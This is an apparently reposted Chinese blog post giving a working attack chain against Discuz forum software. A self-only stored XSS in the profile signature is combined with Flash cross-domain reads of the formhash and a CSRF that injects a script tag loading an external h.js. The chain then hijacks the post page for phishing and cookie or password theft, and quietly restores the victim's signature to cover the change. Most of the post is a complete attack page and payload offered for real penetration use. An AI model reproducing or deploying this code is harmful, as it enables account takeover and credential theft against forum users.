发一下去年利用discuz鸡肋xss的一个思路和具体代码。
discuz x系列以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交</textarea><script>alert(1)</script>,就能执行脚本。
这个XSS的利用场景比较特殊,必须在个人资料设置页里才能触发,也就是只有自己才能看到自己发的XSS ~ = =!
以往这样的鸡肋要真正在渗透中实战利用起来几乎不可能,但是我们结合其他途径就可以把鸡肋变成宝贝,下面我就说下攻击流程:
被攻击者点击帖子中的链接,打开我们的攻击网页触发攻击~
1.通过FLASH跨域请求获取formhash和被攻击者的个人签名。
所有的DISCUZ程序都在根目录下放了一个crossdomain.xml,允许任意网站的FLASH发起请求获取页面内容,那么我们可以很轻易地获取formhash。
2.构造一个自动提交表单,IFRAME这个表单,然后CSRF修改个人签名加入XSS代码。
CSRF要成功,需要formhash构造完整的参数提交。
3.攻击代码生效,反向劫持被攻击者的浏览器,在帖子页注入一个脚本运行,然后钓鱼,偷密码,偷COOKIE什么的就自行发挥了。
4.最后还原被攻击者的签名,因为个人签名里的内容会在帖子里显示,并不能执行脚本,很容易被人发现异常,所以需要还原被攻击者的签名。
攻击代码:
使用了flxhr,这个库可以方便FLASH跨域获取网页内容,并且可以和javascript交互,当然还有其他强大的功能。http://www.flensed.com/code/releases/flXHR-1.0.5.zip
使用了luoluo的jspayloadlib,两年前luoluo写的可以很方便xss和csrf的攻击库,精致小巧更适合实战。http://jspayloadlib.googlecode.com/svn/trunk/src/org/ph4nt0m/net/formSendData.js
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
<script language="Javascript" type="text/javascript" src="flXHR.js"></script>
<script language="Javascript" type="text/javascript" src="formSendData.js"></script>
<script language="Javascript" type="text/javascript">
<!--
crossdomain_xml = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/crossdomain.xml" //crossdomain.xml地址
Attack_url = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/memcp.php?action=profile&typeid=2" // 个人资料设置页地址
var flproxy = new flensed.flXHR({ autoUpdatePlayer:true, instanceId:"myproxy1", xmlResponseText:false, onerror:handleError, onreadystatechange:handleLoading, loadPolicyURL: crossdomain_xml, noCacheHeader: false });
function doit() {
flproxy.open("GET",Attack_url);
var request = " ";
flproxy.send(request);
}
function handleLoading(XHRobj) {
if (XHRobj.readyState == 4) {
//alert(XHRobj.responseText)
HTMLcode = XHRobj.responseText;
hash_start = HTMLcode.search(/formhash/);
signature_re = /textarea.*?signaturemessage.*?>(.*)<\/textarea/.exec(HTMLcode); //获取个人签名的内容
scode = RegExp.$1;
if( hash_start > -1 ){
formhash = HTMLcode.substr(hash_start+9,8); // formhash是8个字符串加数字,取“formhash=”9个字符串后8个字节就是formhash。
//alert(formhash);
formSendData("post", Attack_url , {
"formhash" : formhash,
"signaturenew" : "</textarea><script src=http://test.com/h.js></script>",
"editsubmit" : "1"
}, 1000); //加入浏览器劫持代码。
formSendData("post", Attack_url , {
"formhash" : formhash,
"signaturenew" : scode,
"editsubmit" : "1"
}, 5000); //延时五秒CSRF还原个人签名
}
}
}
function handleError(errObj) {}
-->
</script>
</head>
<body>
<input type="button" value="Click Me" onClick="doit();" />
</body>
</html>
PS:
h.js的内容
window.parent.opener.location="javascript:alert('I had been hijacking your browser!');void(0)"
好多人问怎么反向劫持注入脚本到帖子页的,以前的文档写过http://secinn.appspot.com/pstzine/read?issue=3&articleid=5,因为IFRAME的个人资料设置页和帖子页是同源的网页,所以可以通过window.parent.opener跨框架反向注入JS到同源的帖子页。
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/481000,如需转载请自行联系原作者